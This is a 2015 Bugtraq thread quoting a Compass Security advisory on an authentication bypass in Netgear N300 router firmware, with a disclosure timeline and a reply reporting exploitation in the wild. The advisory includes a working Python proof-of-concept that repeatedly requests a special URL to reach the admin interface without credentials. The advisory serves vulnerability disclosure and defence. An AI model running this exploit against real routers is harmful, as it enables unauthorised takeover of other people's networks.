bugtraq - RE: Authentication Bypass in Netgear Router Firmware N300_1.1.0.31_1.0.1.img and N300-1.1.0.28

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <601f221f261047008956c83a8c983b5a@Wapiti.compass-security.com>
Date: Wed, 7 Oct 2015 05:31:59 +0000
From: Alexandre Herzog <Alexandre.Herzog@...c.ch>
To: Joe G <joseph.giron13@...il.com>
CC: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
  Daniel Haake <Daniel.Haake@...c.de>
Subject: RE: Authentication Bypass in Netgear Router Firmware
 N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img

Hi Joe,

Thanks for your feedback. Daniel, who discovered the issue and liaised with Netgear to get the issue patched, is in CC of this email.

Would you mind to share some further details? This may help putting pressure on Netgear to release the patch they actually developed beginning of September (!) but did not yet publish…

Thanks,
Alexandre


PS: sorry if you get multiple emails, looks like the mail daemon of bugtraq hates S/MIME or PGP signatures in replies...
--
From: Joe G <joseph.giron13@...il.com>
Sent: Tuesday, October 6, 2015 7:01 PM
To: Alexandre Herzog
Cc: bugtraq@...urityfocus.com; fulldisclosure@...lists.org
Subject: Re: Authentication Bypass in Netgear Router Firmware N300_1.1.0.31_1.0.1.img and N300-1.1.0.28_1.0.1.img
  

I can confirm that this is actively being exploited in the wild as we speak. I got owned last week.


On Tue, Oct 6, 2015 at 7:59 AM, Alexandre Herzog  <Alexandre.Herzog@...c.ch> wrote:
 #############################################################
#
# COMPASS SECURITY ADVISORY
#  http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:      Netgear Router Firmware N300_1.1.0.31_1.0.1.img
#               and N300-1.1.0.28_1.0.1.img
# Vendor:       NETGEAR
# CVE ID:       requested
# Subject:      Authentication Bypass
# Risk:                 High
# Effect:       Remotely exploitable over LAN/WLAN
# Author:       Daniel Haake (daniel.haake@...c.de)
# Date:         06.10.2015
#
#############################################################


Introduction:
-------------
Multiple NETGEAR wireless routers are out of the box vulnerable
to an authentication bypass attack. No router options has to
be changed to exploit the issue. So an attacker can access the
administration
interface of the router without submitting any valid username and
password, just by requesting a special URL several times.


Affected:
---------
- Router Firmware: N300_1.1.0.31_1.0.1.img
- Router Firmware; N300-1.1.0.28_1.0.1.img
- tested and confirmed on the WNR1000v4 Router with both firmwares
- other products may also be vulnerable because the firmware is used in
multiple devices


Technical Description:
----------------------
The attacker can exploit the issue by using a browser or writing a simple
exploit.
1. When a user wants to access the web interface, a http basic
authentication login process is initiated
2. If he does not know the username and password he gets redirected to the
401_access_denied.htm file
3. An attacker now has to call the URL
http://<ROUTER-IP>/BRS_netgear_success.html multiple times
-> After that if he can access the administration web interface and there is
no username/password prompt


Example Python script:
----------------------
import os
import urllib2
import time
import sys

try:
        first = urllib2.urlopen("http://" + sys.argv[1])
        print "No password protection!"
except:
        print "Password protection detected!"
        print "Executing exploit..."
        for i in range(0,3):
                time.sleep(1)
                urllib2.urlopen("http://" + sys.argv[1] +
"/BRS_netgear_success.html")

        second = urllib2.urlopen("http://" + sys.argv[1])
        if second.getcode() == 200:
                print "Bypass successfull. Now use your browser to have a
look at the admin interface."


Workaround/Fix:
---------------
None so far. A patch already fixing this vulnerability was developed by
Netgear but not released so far
(see timeline below).


Timeline:
---------
Vendor Status: works on patch-release
21.07.2015: Vendor notified per email (security@...gear.com)
            -> No response
23.07.2015: Vendor notified via official chat support
24.07.2015: Support redirected notification to the technical team
29.07.2015: Requested status update and asked if they need further
assistance
            -> No response
21.08.2015: Notified vendor that we will go full disclosure within 90 days
if they do not react
03.09.2015: Support again said that they will redirect it to the technical
team
03.09.2015: Netgear sent some beta firmware version to look if the
vulnerability is fixed
03.09.2015: Confirmed to Netgear that the problem is solved in this version
            Asked Netgear when they plan to release the firmware with this
security fix
11.09.2015: Response from Netgear saying they will not disclose the patch
release day
15.09.2015: Asked Netgear again when they plan to publish the security fix
for the second time
            -> No response
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
06.10.2015: Forced public release of this advisory to follow up on [2]


References:
-----------
[1]  http://support.netgear.com/product/WNR1000v4
[2]
http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.ht
ml